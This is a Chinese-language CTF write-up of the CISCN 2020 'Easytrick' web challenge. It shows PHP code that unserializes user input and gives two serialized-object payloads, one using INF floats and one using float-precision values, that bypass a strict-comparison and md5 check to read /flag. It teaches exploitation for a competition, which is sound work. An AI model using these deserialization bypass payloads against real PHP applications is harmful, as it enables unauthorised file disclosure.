ciscn2020复现-web-Easytrick

文章目录

  • 0x01 INF绕过
  • 0x02 php精度绕过

源码如下:

 <?php
class trick{
     
    public $trick1;
    public $trick2;
    public function __destruct(){
     
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
     
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
     
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']); 

0x01 INF绕过

INF在PHP中是无穷大的意思

例:2/0是无穷大,我们输出一个2/0,会返回float(INF),INF的数据类型是float也很重要,下面会利用到。

ciscn2020复现-web-Easytrick_第1张图片

原理如下:

ciscn2020复现-web-Easytrick_第2张图片

先把数据序列化一下:

 
class trick{
     
    public $trick1=INF;
    public $trick2=INF;
}
$a = new trick();
$b = serialize($a);
echo $b;

ciscn2020复现-web-Easytrick_第3张图片

payload:/?trick=O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}

ciscn2020复现-web-Easytrick_第4张图片

0x02 php精度绕过

这个解法参考:php数字精度引发的比较问题

原理:php只能精度到0.10000000000000精度不衰减。但是后面加加上1以后0.100000000000001直接等于0.1。
ciscn2020复现-web-Easytrick_第5张图片

测试发现:

值范围 与0.1是否相等 与0.1的md5值是否相等
0.1 到 0.10000000000001
0.100000000000001 到 0.100000000000001
0.1000000000000001 到 0.00000000000000…1

注:1可以换为1-4,四舍五入。

所以我们选择中间那个范围即可满足本题条件。

ciscn2020复现-web-Easytrick_第6张图片
ciscn2020复现-web-Easytrick_第7张图片
payload:/?trick=O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}

ciscn2020复现-web-Easytrick_第8张图片

你可能感兴趣的:(比赛题目总结)